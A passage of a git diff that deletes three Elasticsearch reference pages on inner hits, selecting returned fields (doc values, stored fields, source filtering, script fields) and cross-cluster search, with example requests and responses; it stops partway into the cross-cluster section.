-You can update the `index.max_slices_per_scroll` index setting to bypass this limit.
diff --git a/docs/reference/search/search-your-data/retrieve-inner-hits.asciidoc b/docs/reference/search/search-your-data/retrieve-inner-hits.asciidoc
deleted file mode 100644
index ca7e7a81729..00000000000
--- a/docs/reference/search/search-your-data/retrieve-inner-hits.asciidoc
+++ /dev/null
@@ -1,552 +0,0 @@
-[[inner-hits]]
-== Retrieve inner hits
-
-The <<parent-join, parent-join>> and <<nested, nested>> features allow the return of documents that
-have matches in a different scope. In the parent/child case, parent documents are returned based on matches in child
-documents or child documents are returned based on matches in parent documents. In the nested case, documents are returned
-based on matches in nested inner objects.
-
-In both cases, the actual matches in the different scopes that caused a document to be returned are hidden. In many cases,
-it's very useful to know which inner nested objects (in the case of nested) or children/parent documents (in the case
-of parent/child) caused certain information to be returned. The inner hits feature can be used for this. This feature
-returns per search hit in the search response additional nested hits that caused a search hit to match in a different scope.
-
-Inner hits can be used by defining an `inner_hits` definition on a `nested`, `has_child` or `has_parent` query and filter.
-The structure looks like this:
-
-[source,js]
---------------------------------------------------
-"<query>" : {
-  "inner_hits" : {
-    <inner_hits_options>
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If `inner_hits` is defined on a query that supports it then each search hit will contain an `inner_hits` json object with the following structure:
-
-[source,js]
---------------------------------------------------
-"hits": [
-  {
-    "_index": ...,
-    "_type": ...,
-    "_id": ...,
-    "inner_hits": {
-      "<inner_hits_name>": {
-        "hits": {
-          "total": ...,
-          "hits": [
-            {
-              "_type": ...,
-              "_id": ...,
-               ...
-            },
-            ...
-          ]
-        }
-      }
-    },
-    ...
-  },
-  ...
-]
---------------------------------------------------
-// NOTCONSOLE
-
-[discrete]
-[[inner-hits-options]]
-=== Options
-
-Inner hits support the following options:
-
-[horizontal]
-`from`:: The offset from where the first hit to fetch for each `inner_hits` in the returned regular search hits.
-`size`:: The maximum number of hits to return per `inner_hits`. By default the top three matching hits are returned.
-`sort`:: How the inner hits should be sorted per `inner_hits`. By default the hits are sorted by the score.
-`name`:: The name to be used for the particular inner hit definition in the response. Useful when multiple inner hits
-         have been defined in a single search request. The default depends in which query the inner hit is defined.
-         For `has_child` query and filter this is the child type, `has_parent` query and filter this is the parent type
-         and the nested query and filter this is the nested path.
-
-Inner hits also supports the following per document features:
-
-* <<highlighting,Highlighting>>
-* <<request-body-search-explain,Explain>>
-* <<search-fields-param,Search fields>>
-* <<request-body-search-source-filtering,Source filtering>>
-* <<script-fields,Script fields>>
-* <<docvalue-fields,Doc value fields>>
-* <<request-body-search-version,Include versions>>
-* <<request-body-search-seq-no-primary-term,Include Sequence Numbers and Primary Terms>>
-
-[discrete]
-[[nested-inner-hits]]
-=== Nested inner hits
-
-The nested `inner_hits` can be used to include nested inner objects as inner hits to a search hit.
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-  "mappings": {
-    "properties": {
-      "comments": {
-        "type": "nested"
-      }
-    }
-  }
-}
-
-PUT test/_doc/1?refresh
-{
-  "title": "Test title",
-  "comments": [
-    {
-      "author": "kimchy",
-      "number": 1
-    },
-    {
-      "author": "nik9000",
-      "number": 2
-    }
-  ]
-}
-
-POST test/_search
-{
-  "query": {
-    "nested": {
-      "path": "comments",
-      "query": {
-        "match": { "comments.number": 2 }
-      },
-      "inner_hits": {} <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The inner hit definition in the nested query. No other options need to be defined.
-
-An example of a response snippet that could be generated from the above search request:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 1.0,
-    "hits": [
-      {
-        "_index": "test",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.0,
-        "_source": ...,
-        "inner_hits": {
-          "comments": { <1>
-            "hits": {
-              "total": {
-                "value": 1,
-                "relation": "eq"
-              },
-              "max_score": 1.0,
-              "hits": [
-                {
-                  "_index": "test",
-                  "_type": "_doc",
-                  "_id": "1",
-                  "_nested": {
-                    "field": "comments",
-                    "offset": 1
-                  },
-                  "_score": 1.0,
-                  "_source": {
-                    "author": "nik9000",
-                    "number": 2
-                  }
-                }
-              ]
-            }
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_source": \.\.\./"_source": $body.hits.hits.0._source/]
-// TESTRESPONSE[s/\.\.\./"timed_out": false, "took": $body.took, "_shards": $body._shards/]
-
-<1> The name used in the inner hit definition in the search request. A custom key can be used via the `name` option.
-
-The `_nested` metadata is crucial in the above example, because it defines from what inner nested object this inner hit
-came from. The `field` defines the object array field the nested hit is from and the `offset` relative to its location
-in the `_source`. Due to sorting and scoring the actual location of the hit objects in the `inner_hits` is usually
-different than the location a nested inner object was defined.
-
-By default the `_source` is returned also for the hit objects in `inner_hits`, but this can be changed. Either via
-`_source` filtering feature part of the source can be returned or be disabled. If stored fields are defined on the
-nested level these can also be returned via the `fields` feature.
-
-An important default is that the `_source` returned in hits inside `inner_hits` is relative to the `_nested` metadata.
-So in the above example only the comment part is returned per nested hit and not the entire source of the top level
-document that contained the comment.
-
-[discrete]
-[[nested-inner-hits-source]]
-==== Nested inner hits and +_source+
-
-Nested document don't have a `_source` field, because the entire source of document is stored with the root document under
-its `_source` field. To include the source of just the nested document, the source of the root document is parsed and just
-the relevant bit for the nested document is included as source in the inner hit. Doing this for each matching nested document
-has an impact on the time it takes to execute the entire search request, especially when `size` and the inner hits' `size`
-are set higher than the default. To avoid the relatively expensive source extraction for nested inner hits, one can disable
-including the source and solely rely on doc values fields. Like this:
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-  "mappings": {
-    "properties": {
-      "comments": {
-        "type": "nested"
-      }
-    }
-  }
-}
-
-PUT test/_doc/1?refresh
-{
-  "title": "Test title",
-  "comments": [
-    {
-      "author": "kimchy",
-      "text": "comment text"
-    },
-    {
-      "author": "nik9000",
-      "text": "words words words"
-    }
-  ]
-}
-
-POST test/_search
-{
-  "query": {
-    "nested": {
-      "path": "comments",
-      "query": {
-        "match": { "comments.text": "words" }
-      },
-      "inner_hits": {
-        "_source": false,
-        "docvalue_fields": [
-          "comments.text.keyword"
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-////
-
-Response not included in text but tested for completeness sake.
-
-[source,console-result]
---------------------------------------------------
-{
-  ...,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 1.0444684,
-    "hits": [
-      {
-        "_index": "test",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.0444684,
-        "_source": ...,
-        "inner_hits": {
-          "comments": { <1>
-            "hits": {
-              "total": {
-                "value": 1,
-                "relation": "eq"
-              },
-              "max_score": 1.0444684,
-              "hits": [
-                {
-                  "_index": "test",
-                  "_type": "_doc",
-                  "_id": "1",
-                  "_nested": {
-                    "field": "comments",
-                    "offset": 1
-                  },
-                  "_score": 1.0444684,
-                  "fields": {
-                    "comments.text.keyword": [
-                      "words words words"
-                    ]
-                  }
-                }
-              ]
-            }
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_source": \.\.\./"_source": $body.hits.hits.0._source/]
-// TESTRESPONSE[s/\.\.\./"timed_out": false, "took": $body.took, "_shards": $body._shards/]
-
-////
-
-[discrete]
-[[hierarchical-nested-inner-hits]]
-=== Hierarchical levels of nested object fields and inner hits.
-
-If a mapping has multiple levels of hierarchical nested object fields each level can be accessed via dot notated path.
-For example if there is a `comments` nested field that contains a `votes` nested field and votes should directly be returned
-with the root hits then the following path can be defined:
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-  "mappings": {
-    "properties": {
-      "comments": {
-        "type": "nested",
-        "properties": {
-          "votes": {
-            "type": "nested"
-          }
-        }
-      }
-    }
-  }
-}
-
-PUT test/_doc/1?refresh
-{
-  "title": "Test title",
-  "comments": [
-    {
-      "author": "kimchy",
-      "text": "comment text",
-      "votes": []
-    },
-    {
-      "author": "nik9000",
-      "text": "words words words",
-      "votes": [
-        {"value": 1 , "voter": "kimchy"},
-        {"value": -1, "voter": "other"}
-      ]
-    }
-  ]
-}
-
-POST test/_search
-{
-  "query": {
-    "nested": {
-      "path": "comments.votes",
-        "query": {
-          "match": {
-            "comments.votes.voter": "kimchy"
-          }
-        },
-        "inner_hits" : {}
-    }
-  }
-}
---------------------------------------------------
-
-Which would look like:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...,
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.6931471,
-    "hits": [
-      {
-        "_index": "test",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.6931471,
-        "_source": ...,
-        "inner_hits": {
-          "comments.votes": { <1>
-            "hits": {
-              "total" : {
-                  "value": 1,
-                  "relation": "eq"
-              },
-              "max_score": 0.6931471,
-              "hits": [
-                {
-                  "_index": "test",
-                  "_type": "_doc",
-                  "_id": "1",
-                  "_nested": {
-                    "field": "comments",
-                    "offset": 1,
-                    "_nested": {
-                      "field": "votes",
-                      "offset": 0
-                    }
-                  },
-                  "_score": 0.6931471,
-                  "_source": {
-                    "value": 1,
-                    "voter": "kimchy"
-                  }
-                }
-              ]
-            }
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_source": \.\.\./"_source": $body.hits.hits.0._source/]
-// TESTRESPONSE[s/\.\.\./"timed_out": false, "took": $body.took, "_shards": $body._shards/]
-
-This indirect referencing is only supported for nested inner hits.
-
-[discrete]
-[[parent-child-inner-hits]]
-=== Parent/child inner hits
-
-The parent/child `inner_hits` can be used to include parent or child:
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-  "mappings": {
-    "properties": {
-      "my_join_field": {
-        "type": "join",
-        "relations": {
-          "my_parent": "my_child"
-        }
-      }
-    }
-  }
-}
-
-PUT test/_doc/1?refresh
-{
-  "number": 1,
-  "my_join_field": "my_parent"
-}
-
-PUT test/_doc/2?routing=1&refresh
-{
-  "number": 1,
-  "my_join_field": {
-    "name": "my_child",
-    "parent": "1"
-  }
-}
-
-POST test/_search
-{
-  "query": {
-    "has_child": {
-      "type": "my_child",
-      "query": {
-        "match": {
-          "number": 1
-        }
-      },
-      "inner_hits": {}    <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The inner hit definition like in the nested example.
-
-An example of a response snippet that could be generated from the above search request:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 1.0,
-    "hits": [
-      {
-        "_index": "test",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.0,
-        "_source": {
-          "number": 1,
-          "my_join_field": "my_parent"
-        },
-        "inner_hits": {
-          "my_child": {
-            "hits": {
-              "total": {
-                "value": 1,
-                "relation": "eq"
-              },
-              "max_score": 1.0,
-              "hits": [
-                {
-                  "_index": "test",
-                  "_type": "_doc",
-                  "_id": "2",
-                  "_score": 1.0,
-                  "_routing": "1",
-                  "_source": {
-                    "number": 1,
-                    "my_join_field": {
-                      "name": "my_child",
-                      "parent": "1"
-                    }
-                  }
-                }
-              ]
-            }
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_source": \.\.\./"_source": $body.hits.hits.0._source/]
-// TESTRESPONSE[s/\.\.\./"timed_out": false, "took": $body.took, "_shards": $body._shards/]
diff --git a/docs/reference/search/search-your-data/retrieve-selected-fields.asciidoc b/docs/reference/search/search-your-data/retrieve-selected-fields.asciidoc
deleted file mode 100644
index ee4a90c4507..00000000000
--- a/docs/reference/search/search-your-data/retrieve-selected-fields.asciidoc
+++ /dev/null
@@ -1,456 +0,0 @@
-[[search-fields]]
-== Retrieve selected fields from a search
-++++
-<titleabbrev>Retrieve selected fields</titleabbrev>
-++++
-
-By default, each hit in the search response includes the document
-<<mapping-source-field,`_source`>>, which is the entire JSON object that was
-provided when indexing the document. To retrieve specific fields in the search
-response, you can use the `fields` parameter:
-
-[source,console]
-----
-POST my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "message": "foo"
-    }
-  },
-  "fields": ["user.id", "@timestamp"],
-  "_source": false
-}
-----
-// TEST[setup:my_index]
-
-The `fields` parameter consults both a document's `_source` and the index
-mappings to load and return values. Because it makes use of the mappings,
-`fields` has some advantages over referencing the `_source` directly: it
-accepts <<multi-fields, multi-fields>> and <<alias, field aliases>>, and
-also formats field values like dates in a consistent way.
-
-A document's `_source` is stored as a single field in Lucene. So the whole
-`_source` object must be loaded and parsed even if only a small number of
-fields are requested. To avoid this limitation, you can try another option for
-loading fields:
-
-* Use the <<docvalue-fields, `docvalue_fields`>>
-parameter to get values for selected fields. This can be a good
-choice when returning a fairly small number of fields that support doc values,
-such as keywords and dates.
-* Use the <<request-body-search-stored-fields, `stored_fields`>> parameter to
-get the values for specific stored fields (fields that use the
-<<mapping-store,`store`>> mapping option).
-
-If needed, you can use the <<script-fields,`script_field`>> parameter to
-transform field values in the response using a script. However, scripts can’t
-make use of {es}'s index structures or related optimizations. This can sometimes
-result in slower search speeds.
-
-You can find more detailed information on each of these methods in the
-following sections:
-
-* <<search-fields-param>>
-* <<docvalue-fields>>
-* <<stored-fields>>
-* <<source-filtering>>
-* <<script-fields>>
-
-[discrete]
-[[search-fields-param]]
-=== Fields
-beta::[]
-
-The `fields` parameter allows for retrieving a list of document fields in
-the search response. It consults both the document `_source` and the index
-mappings to return each value in a standardized way that matches its mapping
-type. By default, date fields are formatted according to the
-<<mapping-date-format,date format>> parameter in their mappings.
-
-The following search request uses the `fields` parameter to retrieve values
-for the `user.id` field, all fields starting with `http.response.`, and the
-`@timestamp` field:
-
-[source,console]
-----
-POST my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  },
-  "fields": [
-    "user.id",
-    "http.response.*", <1>
-    {
-      "field": "@timestamp",
-      "format": "epoch_millis" <2>
-    }
-  ],
-  "_source": false
-}
-----
-// TEST[setup:my_index]
-
-<1> Both full field names and wildcard patterns are accepted.
-<2> Using object notation, you can pass a `format` parameter to apply a custom
-    format for the field's values. The date fields
-    <<date,`date`>> and <<date_nanos, `date_nanos`>> accept a
-    <<mapping-date-format,date format>>. <<spatial_datatypes, Spatial fields>>
-    accept either `geojson` for http://www.geojson.org[GeoJSON] (the default)
-    or `wkt` for
-    {wikipedia}/Well-known_text_representation_of_geometry[Well Known Text].
-    Other field types do not support the `format` parameter.
-
-The values are returned as a flat list in the `fields` section in each hit:
-
-[source,console-result]
-----
-{
-  "took" : 2,
-  "timed_out" : false,
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits" : {
-    "total" : {
-      "value" : 1,
-      "relation" : "eq"
-    },
-    "max_score" : 1.0,
-    "hits" : [
-      {
-        "_index" : "my-index-000001",
-        "_id" : "0",
-        "_score" : 1.0,
-        "_type" : "_doc",
-        "fields" : {
-          "user.id" : [
-            "kimchy"
-          ],
-          "@timestamp" : [
-            "4098435132000"
-          ],
-          "http.response.bytes": [
-            1070000
-          ],
-          "http.response.status_code": [
-            200
-          ]
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took" : 2/"took": $body.took/]
-// TESTRESPONSE[s/"max_score" : 1.0/"max_score" : $body.hits.max_score/]
-// TESTRESPONSE[s/"_score" : 1.0/"_score" : $body.hits.hits.0._score/]
-
-Only leaf fields are returned -- `fields` does not allow for fetching entire
-objects.
-
-The `fields` parameter handles field types like <<alias, field aliases>> and
-<<constant-keyword-field-type, `constant_keyword`>> whose values aren't always present in
-the `_source`. Other mapping options are also respected, including
-<<ignore-above, `ignore_above`>>, <<ignore-malformed, `ignore_malformed`>> and
-<<null-value, `null_value`>>.
-
-NOTE: The `fields` response always returns an array of values for each field,
-even when there is a single value in the `_source`. This is because {es} has
-no dedicated array type, and any field could contain multiple values. The
-`fields` parameter also does not guarantee that array values are returned in
-a specific order. See the mapping documentation on <<array, arrays>> for more
-background.
-
-
-
-[discrete]
-[[docvalue-fields]]
-=== Doc value fields
-
-You can use the <<docvalue-fields,`docvalue_fields`>> parameter to return
-<<doc-values,doc values>> for one or more fields in the search response.
-
-Doc values store the same values as the `_source` but in an on-disk,
-column-based structure that's optimized for sorting and aggregations. Since each
-field is stored separately, {es} only reads the field values that were requested
-and can avoid loading the whole document `_source`.
-
-Doc values are stored for supported fields by default. However, doc values are
-not supported for <<text,`text`>> or
-{plugins}/mapper-annotated-text-usage.html[`text_annotated`] fields.
-
-The following search request uses the `docvalue_fields` parameter to retrieve
-doc values for the `user.id` field, all fields starting with `http.response.`, and the
-`@timestamp` field:
-
-[source,console]
-----
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  },
-  "docvalue_fields": [
-    "user.id",
-    "http.response.*", <1>
-    {
-      "field": "date",
-      "format": "epoch_millis" <2>
-    }
-  ]
-}
-----
-// TEST[setup:my_index]
-
-<1> Both full field names and wildcard patterns are accepted.
-<2> Using object notation, you can pass a `format` parameter to apply a custom
-    format for the field's doc values. <<date,Date fields>> support a
-    <<mapping-date-format,date `format`>>. <<number,Numeric fields>> support a
-    https://docs.oracle.com/javase/8/docs/api/java/text/DecimalFormat.html[DecimalFormat
-    pattern]. Other field datatypes do not support the `format` parameter.
-
-TIP: You cannot use the `docvalue_fields` parameter to retrieve doc values for
-nested objects. If you specify a nested object, the search returns an empty
-array (`[ ]`) for the field. To access nested fields, use the
-<<inner-hits, `inner_hits`>> parameter's `docvalue_fields`
-property.
-
-[discrete]
-[[stored-fields]]
-=== Stored fields
-
-It's also possible to store an individual field's values by using the
-<<mapping-store,`store`>> mapping option. You can use the
-`stored_fields` parameter to include these stored values in the search response.
-
-WARNING: The `stored_fields` parameter is for fields that are explicitly marked as
-stored in the mapping, which is off by default and generally not recommended.
-Use <<source-filtering,source filtering>> instead to select
-subsets of the original source document to be returned.
-
-Allows to selectively load specific stored fields for each document represented
-by a search hit.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "stored_fields" : ["user", "postDate"],
-  "query" : {
-    "term" : { "user" : "kimchy" }
-  }
-}
---------------------------------------------------
-
-`*` can be used to load all stored fields from the document.
-
-An empty array will cause only the `_id` and `_type` for each hit to be
-returned, for example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "stored_fields" : [],
-  "query" : {
-    "term" : { "user" : "kimchy" }
-  }
-}
---------------------------------------------------
-
-If the requested fields are not stored (`store` mapping set to `false`), they will be ignored.
-
-Stored field values fetched from the document itself are always returned as an array. On the contrary, metadata fields like `_routing` are never returned as an array.
-
-Also only leaf fields can be returned via the `stored_fields` option. If an object field is specified, it will be ignored.
-
-NOTE: On its own, `stored_fields` cannot be used to load fields in nested
-objects -- if a field contains a nested object in its path, then no data will
-be returned for that stored field. To access nested fields, `stored_fields`
-must be used within an <<inner-hits, `inner_hits`>> block.
-
-[discrete]
-[[disable-stored-fields]]
-==== Disable stored fields
-
-To disable the stored fields (and metadata fields) entirely use: `_none_`:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "stored_fields": "_none_",
-  "query" : {
-    "term" : { "user" : "kimchy" }
-  }
-}
---------------------------------------------------
-
-NOTE: <<source-filtering,`_source`>> and <<request-body-search-version, `version`>> parameters cannot be activated if `_none_` is used.
-
-[discrete]
-[[source-filtering]]
-=== Source filtering
-
-You can use the `_source` parameter to select what fields of the source are
-returned. This is called _source filtering_.
-
-The following search API request sets the `_source` request body parameter to
-`false`. The document source is not included in the response.
-
-[source,console]
-----
-GET /_search
-{
-  "_source": false,
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-
-To return only a subset of source fields, specify a wildcard (`*`) pattern in
-the `_source` parameter. The following search API request returns the source for
-only the `obj` field and its properties.
-
-[source,console]
-----
-GET /_search
-{
-  "_source": "obj.*",
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-
-You can also specify an array of wildcard patterns in the `_source` field. The
-following search API request returns the source for only the `obj1` and
-`obj2` fields and their properties.
-
-[source,console]
-----
-GET /_search
-{
-  "_source": [ "obj1.*", "obj2.*" ],
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-
-For finer control, you can specify an object containing arrays of `includes` and
-`excludes` patterns in the `_source` parameter.
-
-If the `includes` property is specified, only source fields that match one of
-its patterns are returned. You can exclude fields from this subset using the
-`excludes` property.
-
-If the `includes` property is not specified, the entire document source is
-returned, excluding any fields that match a pattern in the `excludes` property.
-
-The following search API request returns the source for only the `obj1` and
-`obj2` fields and their properties, excluding any child `description` fields.
-
-[source,console]
-----
-GET /_search
-{
-  "_source": {
-    "includes": [ "obj1.*", "obj2.*" ],
-    "excludes": [ "*.description" ]
-  },
-  "query": {
-    "term": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-
-[discrete]
-[[script-fields]]
-=== Script fields
-
-You can use the `script_fields` parameter to retrieve a <<modules-scripting,script
-evaluation>> (based on different fields) for each hit. For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_all": {}
-  },
-  "script_fields": {
-    "test1": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['price'].value * 2"
-      }
-    },
-    "test2": {
-      "script": {
-        "lang": "painless",
-        "source": "doc['price'].value * params.factor",
-        "params": {
-          "factor": 2.0
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Script fields can work on fields that are not stored (`price` in
-the above case), and allow to return custom values to be returned (the
-evaluated value of the script).
-
-Script fields can also access the actual `_source` document and
-extract specific elements to be returned from it by using `params['_source']`.
-Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-    {
-        "query" : {
-            "match_all": {}
-        },
-        "script_fields" : {
-            "test1" : {
-                "script" : "params['_source']['message']"
-            }
-        }
-    }
---------------------------------------------------
-// TEST[setup:my_index]
-
-Note the `_source` keyword here to navigate the json-like model.
-
-It's important to understand the difference between
-`doc['my_field'].value` and `params['_source']['my_field']`. The first,
-using the doc keyword, will cause the terms for that field to be loaded to
-memory (cached), which will result in faster execution, but more memory
-consumption. Also, the `doc[...]` notation only allows for simple valued
-fields (you can't return a json object from it) and makes sense only for
-non-analyzed or single term based fields. However, using `doc` is
-still the recommended way to access values from the document, if at all
-possible, because `_source` must be loaded and parsed every time it's used.
-Using `_source` is very slow.
diff --git a/docs/reference/search/search-your-data/search-across-clusters.asciidoc b/docs/reference/search/search-your-data/search-across-clusters.asciidoc
deleted file mode 100644
index 9020787cfa8..00000000000
--- a/docs/reference/search/search-your-data/search-across-clusters.asciidoc
+++ /dev/null
@@ -1,422 +0,0 @@
-[[modules-cross-cluster-search]]
-== Search across clusters
-
-*{ccs-cap}* lets you run a single search request against one or more
-<<modules-remote-clusters,remote clusters>>. For example, you can use a {ccs} to
-filter and analyze log data stored on clusters in different data centers.
-
-IMPORTANT: {ccs-cap} requires <<modules-remote-clusters, remote clusters>>.
-
-[discrete]
-[[ccs-supported-apis]]
-=== Supported APIs
-
-The following APIs support {ccs}:
-
-* <<search-search,Search>>
-* <<search-multi-search,Multi search>>
-* <<search-template,Search template>>
-* <<multi-search-template,Multi search template>>
-
-[discrete]
-[[ccs-example]]
-=== {ccs-cap} examples
-
-[discrete]
-[[ccs-remote-cluster-setup]]
-==== Remote cluster setup
-
-To perform a {ccs}, you must have at least one remote cluster configured.
-
-The following <<cluster-update-settings,cluster update settings>> API request
-adds three remote clusters:`cluster_one`, `cluster_two`, and `cluster_three`.
-
-[source,console]
---------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster": {
-      "remote": {
-        "cluster_one": {
-          "seeds": [
-            "127.0.0.1:9300"
-          ]
-        },
-        "cluster_two": {
-          "seeds": [
-            "127.0.0.1:9301"
-          ]
-        },
-        "cluster_three": {
-          "seeds": [
-            "127.0.0.1:9302"
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------
-// TEST[setup:host]
-// TEST[s/127.0.0.1:930\d+/\${transport_host}/]
-
-[discrete]
-[[ccs-search-remote-cluster]]
-==== Search a single remote cluster
-
-The following <<search-search,search>> API request searches the
-`my-index-000001` index on a single remote cluster, `cluster_one`.
-
-[source,console]
---------------------------------------------------
-GET /cluster_one:my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  },
-  "_source": ["user.id", "message", "http.response.status_code"]
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[setup:my_index]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 150,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "failed": 0,
-    "skipped": 0
-  },
-  "_clusters": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 1,
-    "hits": [
-      {
-        "_index": "cluster_one:my-index-000001", <1>
-        "_type": "_doc",
-        "_id": "0",
-        "_score": 1,
-        "_source": {
-          "user": {
-            "id": "kimchy"
-          },
-          "message": "GET /search HTTP/1.1 200 1070000",
-          "http": {
-            "response":
-              {
-                "status_code": 200
-              }
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 150/"took": "$body.took"/]
-// TESTRESPONSE[s/"max_score": 1/"max_score": "$body.hits.max_score"/]
-// TESTRESPONSE[s/"_score": 1/"_score": "$body.hits.hits.0._score"/]
-
-<1> The search response body includes the name of the remote cluster in the
-`_index` parameter.
-
-[discrete]
-[[ccs-search-multi-remote-cluster]]
-==== Search multiple remote clusters
-
-The following <<search,search>> API request searches the `my-index-000001` index on
-three clusters:
-
-* Your local cluster
-* Two remote clusters, `cluster_one` and `cluster_two`
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001,cluster_one:my-index-000001,cluster_two:my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  },
-  "_source": ["user.id", "message", "http.response.status_code"]
-}
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 150,
-  "timed_out": false,
-  "num_reduce_phases": 4,
-  "_shards": {
-    "total": 3,
-    "successful": 3,
-    "failed": 0,
-    "skipped": 0
-  },
-  "_clusters": {
-    "total": 3,
-    "successful": 3,
-    "skipped": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 3,
-        "relation": "eq"
-    },
-    "max_score": 1,
-    "hits": [
-      {
-        "_index": "my-index-000001", <1>
-        "_type": "_doc",
-        "_id": "0",
-        "_score": 2,
-        "_source": {
-          "user": {
-            "id": "kimchy"
-          },
-          "message": "GET /search HTTP/1.1 200 1070000",
-          "http": {
-            "response":
-              {
-                "status_code": 200
-              }
-          }
-        }
-      },
-      {
-        "_index": "cluster_one:my-index-000001", <2>
-        "_type": "_doc",
-        "_id": "0",
-        "_score": 1,
-        "_source": {
-          "user": {
-            "id": "kimchy"
-          },
-          "message": "GET /search HTTP/1.1 200 1070000",
-          "http": {
-            "response":
-              {
-                "status_code": 200
-              }
-          }
-        }
-      },
-      {
-        "_index": "cluster_two:my-index-000001", <3>
-        "_type": "_doc",
-        "_id": "0",
-        "_score": 1,
-        "_source": {
-          "user": {
-            "id": "kimchy"
-          },
-          "message": "GET /search HTTP/1.1 200 1070000",
-          "http": {
-            "response":
-              {
-                "status_code": 200
-              }
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 150/"took": "$body.took"/]
-// TESTRESPONSE[s/"max_score": 1/"max_score": "$body.hits.max_score"/]
-// TESTRESPONSE[s/"_score": 1/"_score": "$body.hits.hits.0._score"/]
-// TESTRESPONSE[s/"_score": 2/"_score": "$body.hits.hits.1._score"/]
-
-<1> This document's `_index` parameter doesn't include a cluster name. This
-means the document came from the local cluster.
-<2> This document came from `cluster_one`.
-<3> This document came from `cluster_two`.
-
-[discrete]
-[[skip-unavailable-clusters]]
-=== Skip unavailable clusters
-
-By default, a {ccs} returns an error if *any* cluster in the request is
-unavailable.
-
-To skip an unavailable cluster during a {ccs}, set the
-<<skip-unavailable,`skip_unavailable`>> cluster setting to `true`.
-
-The following <<cluster-update-settings,cluster update settings>> API request
-changes `cluster_two`'s `skip_unavailable` setting to `true`.
-
-[source,console]
---------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster.remote.cluster_two.skip_unavailable": true
-  }
-}
---------------------------------
-// TEST[continued]
-
-If `cluster_two` is disconnected or unavailable during a {ccs}, {es} won't
-include matching documents from that cluster in the final results.
-
-[discrete]
-[[ccs-gateway-seed-nodes]]
-=== Selecting gateway and seed nodes in sniff mode
-
-For remote clusters using the <<sniff-mode,sniff connection>> mode, gateway and
-seed nodes need to be accessible from the local cluster via your network.
-
-By default, any non-<<master-node,master-eligible>> node can act as a
-gateway node. If wanted, you can define the gateway nodes for a cluster by
-setting `cluster.remote.node.attr.gateway` to `true`.
-
-For {ccs}, we recommend you use gateway nodes that are capable of serving as
-<<coordinating-node,coordinating nodes>> for search requests. If
-wanted, the seed nodes for a cluster can be a subset of these gateway nodes.
-
-[discrete]
-[[ccs-proxy-mode]]
-=== {ccs-cap} in proxy mode
-
-<<proxy-mode,Proxy mode>> remote cluster connections support {ccs}. All remote
-connections connect to the configured `proxy_address`. Any desired connection
-routing to gateway or <<coordinating-node,coordinating nodes>> must
-be implemented by the intermediate proxy at this configured address.
-
-[discrete]
-[[ccs-network-delays]]
-=== How {ccs} handles network delays
-
